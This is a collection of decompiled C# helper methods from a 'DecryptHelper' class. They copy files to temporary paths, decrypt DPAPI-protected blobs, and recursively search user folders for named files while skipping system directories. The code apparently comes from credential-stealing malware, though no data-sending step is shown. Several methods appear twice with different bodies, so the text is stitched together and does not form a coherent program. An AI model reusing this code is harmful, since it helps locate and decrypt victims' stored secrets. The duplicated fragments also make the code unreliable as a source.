public static string CreateTempCopy(string filePath) { string tempPath = DecryptHelper.CreateTempPath(); File.Copy(filePath, tempPath, true); return(tempPath); }
public static string DecryptBlob( string EncryptedData, DataProtectionScope dataProtectionScope, byte[] entropy = null) { return(Encoding.UTF8.GetString(DecryptHelper.DecryptBlob(Encoding.Default.GetBytes(EncryptedData), dataProtectionScope, entropy))); }
// Token: 0x06000296 RID: 662 RVA: 0x0000A688 File Offset: 0x00008888 public static string GetMd5Hash(string source) { HashAlgorithm hashAlgorithm = new MD5CryptoServiceProvider(); byte[] bytes = Encoding.ASCII.GetBytes(source); return(DecryptHelper.GetHexString(hashAlgorithm.ComputeHash(bytes)).Replace("-", string.Empty)); }
public static List <string> FindPaths( string baseDirectory, int maxLevel = 4, int level = 1, params string[] files) { List <string> stringList = new List <string>(); if (files != null && files.Length != 0) { if (level <= maxLevel) { try { foreach (string directory in Directory.GetDirectories(baseDirectory)) { try { DirectoryInfo directoryInfo = new DirectoryInfo(directory); FileInfo[] files1 = directoryInfo.GetFiles(); bool flag = false; for (int index1 = 0; index1 < files1.Length && !flag; ++index1) { for (int index2 = 0; index2 < files.Length && !flag; ++index2) { string file = files[index2]; FileInfo fileInfo = files1[index1]; string name = fileInfo.Name; if (file == name) { flag = true; stringList.Add(fileInfo.FullName); } } } foreach (string path in DecryptHelper.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files)) { if (!stringList.Contains(path)) { stringList.Add(path); } } } catch { } } } catch { } return(stringList); } } return(stringList); }
// Token: 0x0600028F RID: 655 RVA: 0x0000A478 File Offset: 0x00008678 public static string TryCreateTemp(string filePath, out bool createdNew) { string result; try { string text = DecryptHelper.CreateTempPath(); File.Copy(filePath, text); createdNew = true; result = text; } catch { createdNew = false; result = filePath; } return(result); }
public static string GetMd5Hash(string source) { return(DecryptHelper.GetHexString((IList <byte>) new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(source)))); }
// Token: 0x06000291 RID: 657 RVA: 0x0000A534 File Offset: 0x00008734 public static string CreateTempPath() { return(Path.Combine(Constants.LocalAppData, DecryptHelper.GetMd5Hash(string.Format("{0}{1}{2}", Environment.UserName, Math.Abs(DateTime.Now.ToFileTimeUtc()), Thread.CurrentThread.GetHashCode() + Thread.CurrentThread.ManagedThreadId)).Substring(0, 7))); }
// Token: 0x06000298 RID: 664 RVA: 0x0000A78C File Offset: 0x0000898C public static List <string> FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files) { List <string> list = new List <string>(); list.Add("\\Windows\\"); list.Add("\\Program Files\\"); list.Add("\\Program Files (x86)\\"); list.Add("\\Program Data\\"); List <string> list2 = new List <string>(); if (files == null || files.Length == 0 || level > maxLevel) { return(list2); } try { foreach (string text in Directory.GetDirectories(baseDirectory)) { bool flag = false; foreach (string value in list) { if (text.Contains(value)) { flag = true; break; } } if (!flag) { try { DirectoryInfo directoryInfo = new DirectoryInfo(text); FileInfo[] files2 = directoryInfo.GetFiles(); bool flag2 = false; int num = 0; while (num < files2.Length && !flag2) { int num2 = 0; while (num2 < files.Length && !flag2) { string a = files[num2]; FileInfo fileInfo = files2[num]; if (a == fileInfo.Name) { flag2 = true; list2.Add(fileInfo.FullName); } num2++; } num++; } foreach (string item in DecryptHelper.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files)) { if (!list2.Contains(item)) { list2.Add(item); } } } catch { } } } } catch { } return(list2); }